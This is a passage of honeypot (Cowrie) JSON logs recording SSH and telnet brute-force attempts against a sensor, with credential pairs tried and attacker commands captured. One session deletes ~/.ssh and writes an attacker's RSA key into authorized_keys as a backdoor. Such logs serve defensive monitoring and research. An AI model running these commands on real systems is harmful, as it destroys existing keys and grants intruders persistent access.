openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:42.216957Z","src_ip":"92.118.39.92","session":"b16939337d1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"svn","password":"svn","message":"login attempt [svn/svn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:42.534612Z","src_ip":"92.118.39.92","session":"b16939337d1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:43.636661Z","src_ip":"92.118.39.92","session":"b16939337d1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":36386,"dst_ip":"159.203.135.109","dst_port":22,"session":"bac0368e73fc","protocol":"ssh","message":"New connection: 118.26.39.178:36386 (159.203.135.109:22) [session: bac0368e73fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:46.129350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:46.136988Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:46.356637Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"root01","message":"login attempt [root/root01] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:47.265622Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:47.736499Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:47.739688Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:47.743127Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:47.965583Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:48.436393Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:48.439956Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:48.664293Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:48.668651Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":36402,"dst_ip":"159.203.135.109","dst_port":22,"session":"64cd2b9d700a","protocol":"ssh","message":"New connection: 118.26.39.178:36402 (159.203.135.109:22) [session: 64cd2b9d700a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:48.872898Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:48.877897Z","src_ip":"118.26.39.178","session":"64cd2b9d700a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:49.092275Z","src_ip":"118.26.39.178","session":"64cd2b9d700a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:49.980133Z","src_ip":"118.26.39.178","session":"64cd2b9d700a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:51.197713Z","src_ip":"118.26.39.178","session":"64cd2b9d700a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":52482,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7cb9550c771","protocol":"ssh","message":"New connection: 118.26.39.178:52482 (159.203.135.109:22) [session: b7cb9550c771]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:51.413256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:51.417427Z","src_ip":"118.26.39.178","session":"b7cb9550c771","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:51.635675Z","src_ip":"118.26.39.178","session":"b7cb9550c771","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:52.534758Z","src_ip":"118.26.39.178","session":"b7cb9550c771","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:52.754745Z","src_ip":"118.26.39.178","session":"bac0368e73fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:17:52.759656Z","src_ip":"118.26.39.178","session":"b7cb9550c771","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.234.53.173","src_port":59588,"dst_ip":"159.203.135.109","dst_port":22,"session":"f972951e5b24","protocol":"ssh","message":"New connection: 103.234.53.173:59588 (159.203.135.109:22) [session: f972951e5b24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:11.842269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:11.845598Z","src_ip":"103.234.53.173","session":"f972951e5b24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:12.056450Z","src_ip":"103.234.53.173","session":"f972951e5b24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"janice","password":"123456","message":"login attempt [janice/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:12.931352Z","src_ip":"103.234.53.173","session":"f972951e5b24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:14.152557Z","src_ip":"103.234.53.173","session":"f972951e5b24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":38758,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9bd41e25537","protocol":"ssh","message":"New connection: 171.25.158.70:38758 (159.203.135.109:22) [session: c9bd41e25537]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:43.010216Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:43.014405Z","src_ip":"171.25.158.70","session":"c9bd41e25537","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:43.130717Z","src_ip":"171.25.158.70","session":"c9bd41e25537","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sammy","password":"Sammy123","message":"login attempt [sammy/Sammy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:43.637299Z","src_ip":"171.25.158.70","session":"c9bd41e25537","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:44.803523Z","src_ip":"171.25.158.70","session":"c9bd41e25537","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.170.233","src_port":62166,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e6992217db3","protocol":"ssh","message":"New connection: 211.253.170.233:62166 (159.203.135.109:22) [session: 2e6992217db3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:59.677047Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:59.681956Z","src_ip":"211.253.170.233","session":"2e6992217db3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:18:59.684890Z","src_ip":"211.253.170.233","session":"2e6992217db3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.238.61.148","src_port":42664,"dst_ip":"159.203.135.109","dst_port":23,"session":"a37746452c23","protocol":"telnet","message":"New connection: 125.238.61.148:42664 (159.203.135.109:23) [session: a37746452c23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:02.142318Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":37836,"dst_ip":"10.17.0.5","dst_port":22,"session":"d9fc2f79fd19","protocol":"ssh","message":"New connection: 195.178.110.218:37836 (10.17.0.5:22) [session: d9fc2f79fd19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:05.166582Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:05.171215Z","src_ip":"195.178.110.218","session":"d9fc2f79fd19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:05.250569Z","src_ip":"195.178.110.218","session":"d9fc2f79fd19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:05.489638Z","src_ip":"195.178.110.218","session":"d9fc2f79fd19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:06.571456Z","src_ip":"195.178.110.218","session":"d9fc2f79fd19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.171778440475464,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:15.313983Z","src_ip":"125.238.61.148","session":"a37746452c23","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.26.39.178","src_port":47298,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3735fafafc0","protocol":"ssh","message":"New connection: 118.26.39.178:47298 (159.203.135.109:22) [session: e3735fafafc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:53.820961Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T02:19:53.825403Z","src_ip":"118.26.39.178","session":"e3735fafafc0","protocol":"ssh"}
